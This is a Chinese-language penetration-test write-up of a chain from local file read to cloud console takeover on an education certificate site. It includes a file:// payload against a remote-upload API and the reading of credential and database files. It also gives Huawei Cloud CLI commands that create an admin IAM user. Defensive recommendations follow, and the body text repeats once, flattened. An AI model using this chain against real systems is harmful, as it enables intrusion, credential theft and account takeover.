五一腰疼出不去导致的edu证书站从lfi到控制台接管
字数 1310 2025-08-29 22:41:10

从LFI到云控制台接管:教育证书站渗透测试实战教学

1. 信息收集阶段

1.1 目标定位

  • 使用Hunter.io等工具搜索教育机构(.edu)的SRC证书站点
  • 通过JavaScript文件分析发现API路径(三个带api关键字的路径)

1.2 API接口发现

  • 扫描发现其中一个接口路径下有api-doc文档
  • 使用APIFox工具导入API文档进行测试
  • 发现远程文件上传接口,允许通过远程URL上传文件

2. 漏洞利用阶段

2.1 本地文件包含(LFI)漏洞

  • 利用远程文件上传功能实现任意文件读取:
    POST /api/upload/remote
    {
      "url": "file:///etc/passwd"
    }
    
  • 服务器抓取文件内容后作为图片上传到MinIO
  • 通过访问图片URL获取文件内容

2.2 系统文件读取

  • 读取/var/lib/mlocate/mlocate.db获取文件目录结构
  • 分析mlocate.db发现高价值信息:
    • Nacos配置中心
    • MySQL数据库文件
    • 各种配置文件(.properties)

2.3 Nacos配置中心渗透

  1. 从.properties文件获取Nacos的MySQL密码
  2. 读取Nacos数据库文件:
    • /var/lib/mysql/nacos/users.ibd - 存储Nacos平台用户凭证
    • /var/lib/mysql/nacos_config/config_info.ibd - 存储服务配置信息
  3. 从数据库中发现:
    • OSS的AK/SK(高权限账户)
    • 学校公网MinIO的AK/SK(管理端在内网)
    • OpenAI API密钥
    • MongoDB连接信息
    • SMS平台凭证

3. 云控制台接管

3.1 利用高权限OSS AK/SK

  1. 验证AK/SK权限级别(发现是高权限账户)
  2. 使用华为云CLI工具操作:
    # 导入AK/SK
    export HW_ACCESS_KEY_ID=your_access_key
    export HW_SECRET_ACCESS_KEY=your_secret_key
    
    # 创建子账户
    hcloud IAM CreateUser --user_name=pentest_user
    # 记住返回的用户ID
    
    # 列出组并获取管理员组ID
    hcloud IAM ListGroups
    
    # 将用户添加到管理组
    hcloud IAM AddUserToGroup --group_id=admin_group_id --user_id=user_id
    

3.2 控制台登录

  1. 获取租户名:
    hcloud IAM ShowAccount
    
  2. 使用租户名+子账户登录华为云控制台

3.3 资产发现

  • 发现混合云架构:
    • 入口机器在教育机构内网
    • MongoDB集群在华为云上
  • 验证方法:
    • 通过LFI访问DNSlog验证出口IP(显示为.edu出口)
    • 尝试访问元数据服务确认是否云主机

4. 清理痕迹

  • 删除创建的子账户:
    hcloud IAM DeleteUser --user_id=user_id
    

5. 关键知识点总结

  1. API接口安全

    • 远程文件上传功能未做严格校验导致LFI
    • API文档暴露增加了攻击面
  2. 配置管理安全

    • Nacos配置中心暴露敏感信息
    • 数据库文件权限配置不当
  3. 云安全最佳实践

    • 高权限AK/SK不应存储在配置中心
    • 应启用多因素认证和权限最小化原则
    • 监控异常子账户创建行为
  4. 混合云安全

    • 内网系统与云服务互联时的安全边界
    • 跨云网络访问控制

6. 防御建议

  1. API安全

    • 实施严格的输入验证
    • 禁用危险的URL协议(file://)
    • 实施权限控制和速率限制
  2. 配置管理

    • 加密敏感配置信息
    • 限制配置文件的访问权限
    • 定期轮换凭证
  3. 云安全

    • 使用临时凭证而非长期AK/SK
    • 实施严格的IAM策略
    • 启用异常操作告警
  4. 系统加固

    • 限制对系统文件的读取权限
    • 定期更新mlocate数据库权限
    • 隔离关键服务网络

通过本案例可以看到,从一个小小的LFI漏洞开始,通过系统性的信息收集和横向移动,最终可能导致整个云环境的控制权丢失。这强调了纵深防御和安全开发生命周期的重要性。

从LFI到云控制台接管:教育证书站渗透测试实战教学 1. 信息收集阶段 1.1 目标定位 使用Hunter.io等工具搜索教育机构(.edu)的SRC证书站点 通过JavaScript文件分析发现API路径(三个带api关键字的路径) 1.2 API接口发现 扫描发现其中一个接口路径下有api-doc文档 使用APIFox工具导入API文档进行测试 发现远程文件上传接口,允许通过远程URL上传文件 2. 漏洞利用阶段 2.1 本地文件包含(LFI)漏洞 利用远程文件上传功能实现任意文件读取: 服务器抓取文件内容后作为图片上传到MinIO 通过访问图片URL获取文件内容 2.2 系统文件读取 读取 /var/lib/mlocate/mlocate.db 获取文件目录结构 分析mlocate.db发现高价值信息: Nacos配置中心 MySQL数据库文件 各种配置文件(.properties) 2.3 Nacos配置中心渗透 从.properties文件获取Nacos的MySQL密码 读取Nacos数据库文件: /var/lib/mysql/nacos/users.ibd - 存储Nacos平台用户凭证 /var/lib/mysql/nacos_config/config_info.ibd - 存储服务配置信息 从数据库中发现: OSS的AK/SK(高权限账户) 学校公网MinIO的AK/SK(管理端在内网) OpenAI API密钥 MongoDB连接信息 SMS平台凭证 3. 云控制台接管 3.1 利用高权限OSS AK/SK 验证AK/SK权限级别(发现是高权限账户) 使用华为云CLI工具操作: 3.2 控制台登录 获取租户名: 使用租户名+子账户登录华为云控制台 3.3 资产发现 发现混合云架构: 入口机器在教育机构内网 MongoDB集群在华为云上 验证方法: 通过LFI访问DNSlog验证出口IP(显示为.edu出口) 尝试访问元数据服务确认是否云主机 4. 清理痕迹 删除创建的子账户: 5. 关键知识点总结 API接口安全 : 远程文件上传功能未做严格校验导致LFI API文档暴露增加了攻击面 配置管理安全 : Nacos配置中心暴露敏感信息 数据库文件权限配置不当 云安全最佳实践 : 高权限AK/SK不应存储在配置中心 应启用多因素认证和权限最小化原则 监控异常子账户创建行为 混合云安全 : 内网系统与云服务互联时的安全边界 跨云网络访问控制 6. 防御建议 API安全 : 实施严格的输入验证 禁用危险的URL协议(file://) 实施权限控制和速率限制 配置管理 : 加密敏感配置信息 限制配置文件的访问权限 定期轮换凭证 云安全 : 使用临时凭证而非长期AK/SK 实施严格的IAM策略 启用异常操作告警 系统加固 : 限制对系统文件的读取权限 定期更新mlocate数据库权限 隔离关键服务网络 通过本案例可以看到,从一个小小的LFI漏洞开始,通过系统性的信息收集和横向移动,最终可能导致整个云环境的控制权丢失。这强调了纵深防御和安全开发生命周期的重要性。